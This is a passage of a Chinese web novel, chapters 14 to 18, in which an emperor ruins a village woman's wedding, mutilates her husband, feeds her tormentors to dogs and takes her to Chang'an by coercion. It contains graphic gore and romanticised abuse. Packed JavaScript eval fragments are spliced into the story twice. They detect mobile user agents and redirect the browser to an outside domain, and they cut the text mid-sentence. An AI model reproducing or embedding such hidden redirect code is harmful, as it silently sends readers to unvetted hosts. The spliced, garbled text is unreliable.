任由周胥如何发问,男子都一言不发,直到兵卫散开,有一人从院门缓步走到他们面前。一尘不染的玄色深衣,袍边滚着金线织就的云纹,无不象征着他身份之尊贵。 苏燕看到那张熟悉极了的脸,身体止不住的颤栗起来,只死死地盯着他,嗓子就像被塞住了,一点声音也发不出来。 周母还在哭喊着,吵嚷着要去报官。周胥已经知道自己约莫是招惹了什么不得了的人,强忍着疼痛俯身跪拜,说出的话都变得有气无力:“敢问……这位贵人,与我有何仇怨?” 徐墨怀长身玉立,一身精致华贵的衣裳,与这乱糟糟的庭院说不出的违和,比当初在苏燕家中要更甚几分。 他睥睨而视,目光仅落到了苏燕一人身上。 然而此刻跪在地上的三个人,唯有苏燕不敢抬头看他。 徐墨怀发出一声短促的轻笑,反倒让几人不约而同地心底发怵。 “朕远道而来,燕娘怎得也不看朕一眼?”他语气又轻又慢,像极了情人间温柔的耳语,然而落到苏燕耳中,却犹如世上最恶毒的诅咒一般。 周胥和周母一同瞪大了眼望向苏燕,她几乎要将唇瓣咬出血来,随后缓缓跪拜下去,一字一句道:“民女苏燕,拜见陛下。” 口中哭骂声不停的周母立刻就僵住了,连带着周胥也一副如遭雷劈的模样。 苏燕压低身子,没敢抬起头。“今日是我大喜之日,敢问陛下何故到此伤我夫婿,将我的婚宴搅得一团糟。” 尽管她再如何克制,也压不下语气中的这股不解与怨恨。 分明是徐墨怀骗她在先,眼看着她就要有自己的家人了,眼看她已经要将伤心事忘个干净,他却偏偏到此,如同一把刀子一样,将她织出的美梦给劈开。 苏燕憋着眼泪,咬牙切齿道:“敢问陛下到底想做什么?若是我从前有过冒犯,也实属无心,即便只是短短几月,我也是用尽心力侍奉,为何却换来今日的……” 她心底不知积压了多少委屈,却说到一半停下,徐墨怀便将她未说完的话接下去:“今日的恩将仇报?” 他终于扫了一眼苏燕身旁抖得像只鹌鹑的周胥,耐性十足地解释道:“他不是真心要娶你,朕可以带你去长安,千倍百倍地实现你的心愿……” 苏燕满面泪水,而周胥的断手就在距离她不过三尺的位置,她一心以为自己的日子就要好起来了,她是真心要同周胥好的,她是真的想要个家人。 她终于忍不可忍,崩溃颤抖地说出:“他不是真心,又有谁是真心,难道陛下就是吗?” 方才还面色和煦的徐墨怀眸子骤然一缩,几步走到她身前,脚底发狠地碾过周胥的断指,似乎要将那点血肉模糊的残肢踩进泥土里。 苏燕的下巴被钳住,逼迫她仰起头来。 这张脸上没有惊喜,更没有感激涕零,有的是被泪水晕花妆容后的狼狈,既恐惧又怨愤。 徐墨怀的目光渐渐变得阴鸷,嘴角噙着抹令人胆寒的冷意。 “你想死吗?” 15. 第 15 章 本来喧闹的喜宴,此刻已经无人敢说话了,除却周胥痛苦的呻吟声,便只剩下周母如同哀鸣的低泣。 苏燕本就被周母所瞧不上眼,此刻也多半知道了这灾祸与她有关,看向苏燕的目光中都是怨毒。若不是徐墨怀气势压人令她不敢做声,此刻她恨不得扑上去将苏燕撕下一块肉。 苏燕脸上的脂粉品质不算上乘,如今也都被她的泪水给晕花了。徐墨怀只觉得她脸上的泪水分外扎眼,不等苏燕出声便抬袖去擦,动作显得十分不耐烦。 正当他在想说些什么的时候,院门外突然吵嚷了起来。 他没回头,只淡声吩咐道:“去看看是哪几个不长眼的东西。” 方才庭院中的宾客都被赶了出去,按理说已经没人赶敢靠近,加之有侍卫站在门口,怎得还有人敢在此地喧闹。 苏燕稍一凝神,立刻就听出了来人是谁。能在人大喜之日满口污言秽语的,不正是马六一大家子吗? 薛奉打开院门,马六的亲戚对院内的事一无所知,加之没见过什么世面,便理所当然把那些兵卫当做成唬人的假把式,还以为这是特意雇来防他们闹事,便叫骂声不止。 “还想拦住我们呐!苏燕你个小娼妇害了我儿,还有什么脸嫁人!今日你若拿不出十贯钱,我们就砸了你这喜宴!” “别以为找几个人就有用了!就是天皇老子来了你这个亲事也别想成,赔我儿子的腿来!” 薛奉听不懂他们叽叽喳喳的骂人话,在他们想下手推搡的时候,直接亮出带血的刀子。 气势汹汹的一大家子人忽然就蔫儿了下去,畏缩着往后退了一步,指着他大骂:“想干嘛!你这狗鼠辈,敢碰我一下就等着去官府吧!” 徐墨怀在马家村住了许久,由于苏燕说话带着乡音,他也能勉强听懂几句,不由地皱着眉,吩咐道:“薛奉,将人丢进来。” 院子外又响起一阵骂骂咧咧的声响,似乎是几人见状不对要跑,立刻就被压制住了。 而后院门被打开,连带着瘸腿的马六一共五个人,都被按着齐齐整整地跪在了地上。 几人进门时还有叫嚷个不停的,待看到眼前这副场景,立刻就呆滞在了原地。 马六瞧了眼苏燕,正想问她怎么一回事,就看到了地上那一大滩的血迹和血肉模糊的断手,吓得惊叫了一声。 而周胥已经惨白着脸靠着周母,虚弱到像是要晕过去了。 “这是……这是怎么回事啊?” 周围都是面无表情的兵卫,以及一个手持长刀煞神似的男人。 紧接着马六就看到了一张熟悉的脸。 他吓得一个激灵,指着他说:“你不是苏燕家的野男……” “啊——” 马六指着徐墨怀的那只手忽然飞出去,摔在地上滚了不少泥灰。 他的家人尚未反应过来,等看到断手后,被吓得惊恐地叫喊起来,马六则捧着自己流血不止的伤口撕心裂肺地哭叫。 徐墨怀不记得马六长什么模样,然而仅凭这一家人的所作所为,就能轻易地将他们和苏燕信中的人联系起来。 “杀人啦!光天化日地伤人性命!还有没有天理了,我家六郎和你无冤无仇,好狠的心!” 徐墨怀觉得聒噪,不耐地说:“将他们先拖出去关押,倘若再喊叫就拔了舌头。” 兵卫立刻领命,粗暴地将人都捆了丢出去。 院落内这才逐渐安静了下去,而后他重新将目光落到苏燕身上。 她正扯了一块巾帕死死捂住周胥的伤口,然而周胥的衣裳与巾帕都被血浸透了,看着也像是要断气一般,院中站了许多人,都冷漠地看向别处,没有任何一人敢对他伸出援手。 “朕瞧着,你这夫婿也不怎么样?”徐墨怀轻笑一声,问她:“在你这儿倒是个宝贝了?” 苏燕愤怒到发抖,咬牙说:“我身份低贱,能得此夫婿已是上天眷顾。” 徐墨怀皱了下眉,似乎是看不过去她这副模样,竟一把将她从周胥身边扯了过去。 苏燕被狠拉一把,半个身子趴在地上,手掌摩擦得生疼,不等她抬头,就见玄色衣袍曳地,一道阴影压了下来。 徐墨怀半蹲在她身前,风凉道:“你视他为珍宝,殊不知你这夫婿,也许只当你是踏脚石。” “陈留郡周氏子孙,前朝宰辅后人,竟没落至此,要靠着女人来求官。”徐墨怀似笑非笑地看向周胥。“你误将朕当做是什么望族之后,猜我不敢留下什么忘恩负义的名声,便想用燕娘挟恩图报,为自己谋取个一官半职。” 他说到最后,语气已称得上是嘲讽。 而反观周胥,面上只剩畏惧与懊悔,苏燕听到此处,也多半能想通发生了何事。 见她半晌没抬头,徐墨怀还当她是伤心极了,正想着是否宽慰她两句,就见她突然抬起脸,满面怒容道:“即便胥郎待我虚情假意,也是我心甘情愿,陛下又为何要伤我夫婿!他不过一书生,从未做过伤天害理之事,你为何这般待他!又为何要这般待我!” 徐墨怀并未料到她会是这样的反应,面上有片刻错愕,迅速地沉下脸色。 “苏燕,朕念及旧情,不远千里接你去长安,休要不知好歹。” 苏燕手上沾着泥灰和周胥的血,十指用力地扣在地上,指甲都深深地陷进了土里。 “陛下不需要念什么旧情,苏燕是一卑贱农妇,能有幸侍奉陛下已经知足,不敢奢求更多,只求与夫婿安稳度日,更不想去什么长安……” “你知道自己在说什么吗?”徐墨怀的嗓音冷下来,眼神也变得愈发可怖。 世上竟有苏燕这样的女子,甘愿留在一个破落山村,跟一个心术不正的穷书生成婚。他能给她金屋珍馐,让她再也不用去采药种地,给她十辈子都享不来的荣华富贵。 她竟然敢说不需要。 苏燕伏着身子,头简直要低到土里。 徐墨怀默然片刻,怒极反笑,环视了一眼这清贫的屋子与她瑟瑟发抖的夫婿,如同被针扎了一般迅速起身,阴着一张脸大步往外走。 薛奉没有料到事态会变成这样,回头看了苏燕一眼,立刻就跟着徐墨怀出去。 从前鲜少有人能让徐墨怀如此动怒,薛奉见识过他们惨烈的下场,而如今轮到了一个女子,他却似乎是要放过她,就此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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直到徐墨怀掀开车帘,她才像是被敲了一棍子,突然就停止了挣扎。 “怎么不喊了?”他凉凉道。 苏燕眼眶通红,怒瞪着他:“陛下将我夫婿怎么了?” 徐墨怀手上拿了块干净的巾帕,毫不温柔地盖在她脸上,将早已斑驳的脂粉擦去。 “朕许了他官职,让他休了你。” 苏燕知道周胥没死,眼中又开始泛起泪花,看得徐墨怀心中一阵烦躁。“你若还不满意,朕现在就让人杀了他。” 他已经十分好心,让人给周胥治伤,留了他性命又送他入仕,周胥是聪明人,自该感激不尽,唯独苏燕还敢不识好歹。 苏燕紧抿着唇,低头呆呆地望着指缝中的血,忽地就听徐墨怀语气不悦地说:“穿的什么衣裳,不堪入目……” 她气得呼吸不顺,却又不敢还嘴。 当初在马家村温柔和善的郎君,与眼前阴晴不定的君王简直判若两人! 徐墨怀似乎早有准备,直接命人拿了一身衣裳丢到苏燕怀里,随后自己下了马车,留下一句:“下马车前换好。” 而后他顿了一顿,又语气不善地说:“听到了吗?” 苏燕不吭声,他猛地掀开帘子重新坐回马车里。“既然你不说话,那朕就看着你换。” 她被吓得手一抖,忙说:“我听到了,听到了。” 徐墨怀冷笑一声,毫不理会。 16. 第 16 章 在与周胥成婚以前,苏燕在心中想象了很多次未来是何种模样。虽然有扰人的马六一家子,有不喜欢她的周母,但她所设想的往后更多的都是温馨和睦,就和她从小希望的那样。 周胥的院子比她原来的要大得多,可以种菜养花,她还想再养一条狗。然后她会继续去药铺做工,去山上采药。若是运气够好,等科举制开通了,周胥还能想法子当官。日后孩子有他这样的父亲,一定会大有出息。 苏燕虽然想得很远,但她却觉得那样的日子离她已经很近了。 在她心中这已经是最好的生活,也许依旧清贫,但她不会觉得孤单,不会随便受人欺负,且她的夫婿与她情投意合,这都是她想要的。 直到利刃砍下她夫君的手,直到徐墨怀命人将她丢上马车。 苏燕安定的生活被搅得天翻地覆,再没了回头的可能。 徐墨怀是天子,他已经什么都有了,为什么却不肯放过她。 苏燕心中惶恐,又不得不在他的胁迫下照做。 他丢来的衣裳都是上等的料子,用手摸一下便知道了,柔顺轻薄的衣料,好似手上捎带茧子都能勾起丝来,摸着就跟水一样的又凉又滑。布庄里最好的布料,连给它做系带的份儿都没有。 苏燕想起了当初给徐墨怀做衣裳,自以为是买了上好的料子,还以为他会惦念自己的好,哪知道在他眼里那样的料子已经是粗劣无比。 发觉苏燕抱着衣服傻愣住,徐墨怀出声催促:“不会穿我让人来教你。” 近日天气正热,苏燕的喜服里面还穿着轻薄的里衣,脱去外面一层后倒也不至于光着身子。毕竟当初照料徐墨怀,二人床榻离得那样近,她在家中也是要换衣裳的,只是那时天冷,与现在也比不得。 苏燕算是认清了,从前的温柔耐心都是装模作样,徐墨怀根本不会将她放在眼里,倘若她不肯按着他的心意来,怕是下一刻就会直接扒掉衣裳逼着她换。 苏燕畏缩着往后退,紧接着就磨磨蹭蹭地开始脱衣服,徐墨怀也没有要避嫌的意思,就那么冷漠地看着,这眼神毫无半点欲念可言,反倒让她越发坦然。 等她换完了衣裳,头发也乱得不成样子,哭过后的双眼红通通的。 见她态度还算温顺,徐墨怀的脸色也缓和了很多。 云塘镇并不算大,苏燕以为他会直接将她带走,却没曾想他竟让人将马车停在一处府邸。 这算是云塘镇最有模有样的宅院了,从前住着一个退隐的大官,后来就被一个有钱的商户给买下。 徐墨怀此行已经足够低调,旁人只知他是京中来此办事的贵人,知道他来头不小,二话不说将宅院打理好给他歇脚。 苏燕怎么也没料到,自己第一次坐马车竟会是这样的情景,实在是生不出半点欣喜来。 下马车的时候她还想抱着自己脱下的婚服,却被徐墨怀不由分说给拿走了。 他顺手将苏燕的婚服丢到侍卫的怀里。“拿去烧了。” 苏燕伸手想去抢回来,被他一把拽住。“一件破衣裳,要它做什么?” 苏燕恳求他:“让我留下吧,求求你,我想留着这一件。” 徐墨怀语气重了几分,又重复一遍:“拿去烧了。” 这件婚服的布料是她亲自挑选,说了几次好话才让那绣娘答应帮忙,几乎每隔两日就要去看一看绣得如何了。她看着这件婚服做好,似乎也在看着自己梦逐渐接近圆满。 他就是这样,非要硬生生把她的一切都给打碎了,连个念想都不给她留下。 两人快一年没见,再重逢后却是这样难堪,苏燕不想跟徐墨怀叙旧,他似乎也觉得自己没必要对她解释什么。 苏燕被送去沐浴洗漱,屋内陈设是她从没见过的奢侈,连一个小小的豪绅都能如此,更何况是一国之君。若换做从前,她应该要到处瞧一瞧看一看,感叹一下这些有钱人家的日子,然而经此一遭是身心俱疲,只知道呆坐着,连开口的力气都没了。 苏燕不习惯被人服侍,然而徐墨怀吩咐了,必须有人看着她洗漱,于是侍女就隔着屏风等她。 苏燕一起身,立刻有人上来给她擦干穿衣,吓得她差点滑倒。 白日里成亲的事已经让她累个半死,夜里却躺在陌生的床榻上翻来覆去睡不着。房间里静悄悄的,还有股好闻的香气,连被褥都又软又暖和。 一切都陌生到让她惶恐不安,闭上眼就是周胥被砍伤后血流如注的模样。 直到夜里她才有心思琢磨起徐墨怀所说,周胥对她另有所图的话。 再如何她也不是傻子,说的那样明白了,还有什么想不通的。徐墨怀如今已经是皇帝了,再不是马家村奄奄一息的莫淮,他根本不屑于对她说谎。 周胥对她也是带着利用。 苏燕闭了闭眼,情不自禁蜷起身子。 她深吸一口气,想让自己平静下来,然而心口处却一抽一抽得疼。 她忽然觉得自己是很可笑的,周胥是真切地关照她,也的确做到了娶她爱护她。 但这两个人,都没将她的真心放在眼里。 带她去长安,然后呢? 黑暗中,苏燕望着帐顶,茫然又无助。 —— 次日一早,几个侍女进来为苏燕穿衣打扮。 她醒来本还有些怔忪,见到一堆人立刻就吓清醒了。 想到自己的处境后立刻又低落下去,然而根本没人在意她是什么情绪,只按照吩咐替她做了个发髻,将珠钗步摇都往她发上簪去。 苏燕平日里忙着做农活,哪有时间梳妆打扮,更不会梳什么发髻,此刻看着铜镜也是有种说不出的怪异感,如同在看另一个人。 很快侍女们催促她出去,徐墨怀已经站在院中等着了,他身边的侍卫正在和他说着什么话。 听到动静,他扭头看过来,望到这样打扮的苏燕,眼神微微一动,难得说了句好话:“好好装饰一番,倒也是个美人。” 苏燕眼睫轻颤,没有答他的话,徐墨怀也没与她计较,只说:“上路之前,先带你去看个东西。” 徐墨怀说话,她只有照做的份。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002120|178276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 从前苏燕一心想要的步摇就簪在发上,走动间金银玉石相互碰撞,发出清脆悦耳的声响,她却觉得这声音让人心烦意乱。 榴红的罗裙垂至脚面,苏燕还不习惯穿着登云履,时不时就会踩到,几次都险些摔倒,等快走到为她准备的马车边上,又踩到裙边,要不是被徐墨怀拉了一把就要磕到车辕上。 他不满的轻啧一声,似乎是看不惯她这样笨手笨脚,直接将她抱起来扶到马车上站稳。 “路都走不好。” 苏燕瞪了他一眼,自觉钻进了马车。 为徐墨怀准备的马车在前面,两人没有坐在一处。 她不习惯坐马车,一会儿的时间里便头晕脑胀,好在很快一行人停了下来,侍卫请她从马车上下来。 苏燕缓了口气,隐约听到了狗吠声,掀开帘子后却发现此处是荒山野岭,不像是有人家,也难怪路上这样颠簸。 她下去的时候,徐墨怀也正好走近,顺手扶了她一把,接着手便不松开了,拉着她朝后方走去。 这地方杂草丛生的,好端端来这儿做什么? 不等苏燕发问,随着越走越深入,狗吠声也跟着清晰了起来,且其中掺杂着人的嘶喊哀嚎。 苏燕心中一颤,猛地看向徐墨怀。 他步子没有停下,继续往前走,察觉到了她的目光后,只淡淡道:“跟着我来就是了。” 直到走过一个小土丘后,苏燕终于看到了惨绝人寰的一幕。 巨大的五个囚笼中血肉模糊,里面关着的恶犬正在撕咬人的身子,一口獠牙连皮带肉都撕下来,狗的身上嘴上沾着血和碎肉。 除了马六还在哀嚎求饶以外,其他的人要么断了气,要么就是在发出微弱的呻|吟声,尤其马六胯间一大片猩红极为显眼。 笼子里是被开膛破肚,脏器肠肚流了一地的人,苏燕仅看了一眼,立刻便浑身汗毛竖起,恶心得弯下腰干呕。那股血腥气似乎都逼近了她,在她鼻尖缭绕不散。 苏燕疯了一样甩开徐墨怀的手要往回跑,立刻就被死死按住。 “跑什么?”徐墨怀微蹙着眉,不解道:“你不是想杀了他们?我特意让人留着马六的命,好让你看着他死,你反倒先吓成这副模样。” 苏燕面色惨白,胃里一阵翻涌。 马六的嗓子都喊都嘶哑了,扯着嗓子痛苦地嚎叫一声,她瞬间头皮都麻了,好似能听到野狗撕咬人肉的声音,立刻就腿软着差点坐在地上,徐墨怀一把将她捞进怀里让她站好。 苏燕浑身克制不住地发抖,她张着嘴呼吸,企图让自己冷静下来。 他又轻飘飘一句:“他们不是吃了你的狗吗?” 苏燕已经听不进去他在说什么了,她只想赶紧跑,离这个地方越远越好。 徐墨怀见她似乎是真的害怕,便松开手任她走,自己则在后面慢悠悠地跟着,闲散得像是来散步。 苏燕踩着裙子摔倒,狼狈地想爬起来,就听徐墨怀在她身后风凉地笑了一声。“燕娘,你可真有出息。” ...... 17. 第 17 章 苏燕这一下摔得不轻,却连缓和的时间都没有,爬起来提着裙子头也不回地跑。 直到她有越跑越远的意思,立刻被侍卫截住,要她老老实实回到马车上去。 苏燕胃里一阵翻江倒海,那股血腥气就好似黏在了她身上,怎么都挥散不去。上马车的时候才发觉自己腿都软了,根本使不上力气。 徐墨怀顺手将她抱上去,见苏燕面带恐惧,也不禁烦躁了起来,说道:“你的仇人死了,你该高兴才是。” 他说完这句话,苏燕看怪物一般看着他。 她不知道是不是自己没有见识,还是位高权重的人对杀人一事已经习以为常,才会不觉得其中有什么不对的。 苏燕厌恶马六一家,时常盼着他们早死,可她从来没想过会是这样的死法,更没想过这一切会因她而起。 昨日才见过的活人,今日肠穿肚破地出现在面前,她到底该怎么高兴? 苏燕紧抿着唇没有回答,徐墨怀忍着不悦,将她推进了马车里。 徐墨怀一副不想多管她的模样,倒也确实没有多管。苏燕眼看着马车出了云塘镇,也不敢再问一声周胥的状况如何。她怕自己一句话惹他不高兴了,周胥连命都保不住,然而马车边的侍卫也不肯与她搭话。苏燕哪里坐过什么马车,一次走了半日,摇摇晃晃闹得她头晕目眩,胃里犯恶心直想吐,掀开车帘就要往下跳。 驾车的侍者连忙停下,马车猛地一摆,险些将苏燕甩下去,好在她扣住了车壁这才稳住。 侍卫立刻围过来,紧接着前面的人也听到动静,来询问她到底要做什么。 苏燕跳下马车推开侍卫,俯身在路边开始吐酸水,直到胃里彻底空了,身边有人递来茶水让她漱口,苏燕接过后道了声谢,而后那人又递了帕子过来。 等苏燕回身的时候,才发现徐墨怀一直在旁边站着。 “好了?” 苏燕面色苍白,虚弱地点了点头,自觉地回到马车上去。 接下来的几日,徐墨怀多在马车内处理自己的政事。而苏燕每一日都过得不好,一日之内最多能吐上两三次,直吐得脚步都虚浮了,只能奄奄一息地卧在马车里,连驾马的侍者都看得有几分可怜她。 按照这情形,不等到京城她就能被磋磨死。 等她再次掀开帘子,侍者已经习惯了,立刻停下扶着她下去,准备好清茶与巾帕。等苏燕吐完了,就看到一边阴着脸的徐墨怀。 苏燕在心中暗暗想,兴许他后悔了,会觉得她是个麻烦,中途将她丢下不管也许算一件好事。 然而徐墨怀非但没有如她所想,还将她抱去与他同乘一架马车。 徐墨怀的马车比她的要宽敞些,从外表看区别不大,里面布置却显然要更精巧,还备了书案与一个箱子。 她被放到对面的软榻上坐着,面色苍白如纸,愁着一张脸不吭声。 徐墨怀盯了她一会儿,突然出声问道。“你哑巴了?” 苏燕愣了一下,心底随即漫起一阵怒气。 “陛下想要我说什么?” 话一开口她自己都愣住了。想必是一直吐酸水,嗓子都哑了,现在说话声音也变得难听。 徐墨怀也有些意外,随后探出头去,似乎跟人吩咐了什么,苏燕也没听清。过一会儿就有人送进来一碟果脯。 他往苏燕的方向推了推,示意她吃。 苏燕闭了闭眼,没有动,反哑着嗓子问他:“陛下带我回长安后想要怎么做?” 眼前这个人是皇帝,她早就对他没有妄想了,她现在最希望徐墨怀到长安后给她一笔赏金就让她滚。 徐墨怀翻书的手指微微一顿,眼帘半搭着看她,懒散中又带有逼人的气势。 “你这样的身份进了宫,多少有些不体面,朕与林馥婚期在即,若此刻将你留在身边,岂不是打林家的脸。” 怎么看都不划算,他没必要为了苏燕惹麻烦。 什么林家不林家的,她根本听不懂。 “将我留在身边?”苏燕睁大眼,不可置信道:“为什么要留着我?” 她立刻慌乱了起来,口中胡乱地说着:“我什么都不会,就只会种地放牛,陛下放了我吧,我笨手笨脚也不会伺候人的,就算做宫女都不成。我就想嫁个人好好过日子,陛下是一国之君,留着我又做什么呢?” 徐墨怀听到她又在念叨嫁人,脑子里就像是有一簇火苗在蹭蹭往上冒。 “由不得你想。” 苏燕愕然地抬起头盯着他。 “你身份低微,在宫中也只配做一个洒扫奴婢,朕念及旧情愿意留下你,赠你锦衣玉食,赐你荣华富贵。”徐墨怀的手掌冰凉一片,轻轻抚上苏燕的脸颊,就像一条毒蛇滑过,让她不寒而栗。“燕娘,你知道该怎么做吗?” 徐墨怀看到她错愕又惊慌的表情,心中莫名感到愤怒。 她此刻应该感激涕零才对,在马家村不是还爱极了他,不惜千里跋涉到长安去。不是说想要去最好的酒楼,穿好看的衣裳,和官家娘子一般戴金钗步摇,如今这些都摆在眼前了,她有什么好不情愿的。 难道她真的喜欢一个没用的儒生,甘愿做牛做马为他操劳一生。 徐墨怀面色阴沉如水。“朕赐周胥奉御一职,他三跪九叩对朕谢恩,而你却偏偏不识抬举,你以为现在回去,他还敢要你吗?” 苏燕颓丧地低下头,窝在角落里彻底不吭声了,桌上的果脯也没有要动的意思。 他冷冷地睨了一眼,并没有去管。 马车的窗子被打开透气,徐墨怀也好借着光看书写字,过了一会儿,他抬头看向苏燕,提醒道:“你挡住光了。” 苏燕往一边挪了挪,仍是一副要死不活的模样。 过了一会儿,她又忍不住趴到小窗边透气,徐墨怀简短道:“光。” 苏燕实在受不了了,问道:“我碍手碍脚,陛下为何不让我回去。” “你过来”,徐墨怀突然提笔在纸上写了什么,似乎是叫她靠近去看。 她稍稍挪了一下,象征性地动了动,他头也不抬地说:“朕让你过来。” 苏燕只好朝他靠近了一些,去看纸上写的字。 周胥没有教过,她根本看不懂。 徐墨怀看出她不认识,难得耐心了起来。“这是我的名字。” 他又在纸上写了一遍,刻意放缓了比划,问她:“看懂了吗?” 苏燕疑惑地望着他,眼神似乎在问“我学这个做什么”。 徐墨怀只跟她强调:“我再写一遍,你好生看仔细,一炷香的时间后我要考你。” 她学这种东西做什么,皇帝的名字学会了又用不上。 苏燕百般不情愿地接过笔,在晃动的马车上照着字迹临摹起来。然而这三个字学来无用,她也不肯用心,立刻就忘了笔画顺序,写几遍就开始敷衍。等徐墨怀估量着时间差不多的时候,收了有字迹的纸,让她自己写一遍。 苏燕写得十分勉强,笔画顺序不对也就罢了,若有想不起来的地方便糊弄一通,歪歪扭扭不成形状。 徐墨怀仅看了一眼,就冷着脸说:“把手伸出来。” “什么?”苏燕迷惑不解。 “手。”他语气又重了几分。 苏燕照做,手才伸出去,徐墨怀就拿起一旁拨弄香灰的铜杖打在她掌心。 她立刻收回手缩在袖子里,方才被打过的地方火辣辣得疼,让她又惊又怕地往后退。 “三个字,你错了两个。”他看出苏燕在敷衍,手下也没留情。“伸出来。” 苏燕本就焦虑不安,几次三番被人命令指教,这是她十几年都不曾遭遇过的事,如今还要因为学不会他的名字被打手心。这几乎彻底激怒了她,说什么都不肯把手伸过去,只怒气冲冲地瞪着徐墨怀,而后掀开帘子就要出去。 徐墨怀眼疾手快,立刻将她按住,同时将她双手交叉背到身后。 苏燕立刻像条被丢上岸的鱼一样扑腾,几次踢到了徐墨怀也不停下,逼得他只好倾身去压制住她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002121|178276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏燕的理智已经被烧干净了,火冒三丈地说:“我就是学不会怎么了?凭什么我要学你的名字,你不过就是看我好欺负,拿一个假名字诓我!你怎么不直接杀了我算了!” 徐墨怀听完脸色已经黑得不像话了,阴森道:“朕怎么不知道你这般娇气?不过让你学三个字,你糊弄朕便罢了,才打了一下手心,你便敢顶嘴了?口口声声让朕杀了你。是不是近日过得太舒坦,让你忘了自己是在跟谁说话?” 舒坦?吃不好睡不好,日日提心吊胆也能算舒坦? 苏燕连着几日身心备受煎熬,此刻像是被折腾到崩溃,眼泪哗哗往下流,一边哭一边说:“我就是不识抬举,你凭什么这样对我……” 徐墨怀将她的脸扭过来对着自己,盯着她一字一句道:“就凭朕可以。” 就凭他想,没什么是他不可以做的。 苏燕愣了一下,随后继续嚎啕大哭,哭得马车外的侍卫都听到了。然而这样的哭法,他们半点也不会想到什么旖旎的事,只会以为徐墨怀是要杀了她。 那一下抽得确实不轻,她的手心都红肿了起来。 徐墨怀也不是第一次见苏燕哭,的确是粗鄙之人,哭起来半点仪态都不讲。从前在马家村的时候苏燕有只羊羔病死了,她就抱着一只死羊哭到一抽一抽的,然而当晚她就拿着菜刀把羊干净利落地剥皮下水,第二日桌上就有了肉。 当时她也是这个哭法,那个时候他只在心中冷笑。 然而这次苏燕也哭得跟要断气了一样,好似受了天大的委屈,分明他只是打了她的掌心,即便是徐晚音八岁被打到握不住筷子,也断不会跟苏燕现在一般。 徐墨怀觉得苏燕总是为一些莫名其妙的小事在哭。 他耳朵都被吵得嗡嗡响,恼怒道:“苏燕,是不是疯了?” 紧接着苏燕就咳嗽起来,他这才阴着脸放开她的手,去拍了拍她的后背。 苏燕顺过气后,仍然缩在角落抽泣,直到她的哭声越来越微弱,似乎理智也跟着回笼了,最后已经彻底没了声音,也不敢抬头去看徐墨怀的表情。 她只是被憋疯了口不择言,不代表她真的想死,就算是把她的手打烂她也想活着的,于是此刻就开始懊悔自己方才的所作所为,生怕徐墨怀跟她算账要砍了她的手脚,亦或者一怒之下把她也丢去喂狗。 苏燕闷不吭声也不敢动,徐墨怀的呼吸声在寂静的马车中就显得十分清晰。 她能感受到一道灼热的视线在盯着自己,一时间更不敢抬头了。 徐墨怀收回目光,看了眼纸上乱七八糟的字,没好气地说道:“滚出去。” 苏燕如获大赦,逃也似地下了马车,心脏还跳得正快。 侍卫见她鬓发散乱,面颊通红还带着泪痕,一时间心中也有些复杂。 怎么看她都不像是被宠幸,更像是挨了一顿毒打。 经过苏燕要命的哭嚎以后,徐墨怀连着两日没找她麻烦。吐着吐着她也渐渐能习惯了,虽然仍是身体不适,却也不至于再吐到半死不活。然而很快,徐墨怀又叫她到马车里去。 书案一边放着笔墨纸砚,另一边放着一根细长的铜杖,什么意思不言而喻。 苏燕再没敢闹了,她只想好好的活着。 徐墨怀处处瞧不上她,等回了长安就会将她丢去做奴婢,到时候他的后宫美女如云,又怎么会想到区区一个乡野村妇。 她熬着熬着,总有自由的那一日。 —— 马车上晃晃悠悠,除了写不好字以外,还容易让人瞌睡。 等到了长安的时候,徐墨怀叫醒趴在书案上,占了大半个位置的苏燕。 她睡眼惺忪地坐起来,脸上因为墨迹未干,而印了黑乎乎的一大团。 他瞥了一眼,伸手去捏她的下巴,准备拿帕子给她擦干净,苏燕下意识躲避,惊恐地看着他。 徐墨怀的手落了个空,眼神也变得可怕起来,索性不再管她,任由她脏着脸下去,总归出丑的人不是他。 18. 第 18 章 马车没有进宫,而是停在了崇安坊的青環苑。 徐墨怀是在一番思量过后,才决定将苏燕安置在此处。 宫中人多眼杂,苏燕乡野出身没心没肺,哪一日有人给她喂毒药都能笑呵呵接过。而青環苑是他和常沛的人,加上崇安坊离皇宫不远,一来一去也不至于浪费时间。 如果苏燕乖乖听话,能学出个模样了,他也许会将她接到宫里。 苏燕不知道徐墨怀这些想法,只是掀开帘子瞥了一眼,瞧见马车没有开进皇宫,心中不知道是该惶恐还是该欣喜,于是犹犹豫豫地回头朝他看去。 徐墨怀此刻看着苏燕那张蹭了团墨迹的脸,只觉得她浑身上下都让他不顺眼。 “此处是青環苑。” 崇安坊青環苑,“莫淮”就住在这里。 苏燕愣了一下才反应过来,这就是当初她寄了许多信的地方。如此一想,心中既是羞愤又是失落。 她羞愤自己被骗得团团转,自作多情给徐墨怀寄了那么多信,指不准他看到那些信会在背后嘲笑她痴心妄想。 徐墨怀只见她一动不动,当然不知道她在想什么,便自己先走出马车,几乎是用提着的方式让苏燕下去。 青環苑特意留出的西门,只有徐墨怀会从此处进去,加上他回长安的事早就知会了常沛,他应当正在青環苑中候着。 几个下人一见徐墨怀,立刻向他行礼,而后又面带打量地去看他带回来的女人。 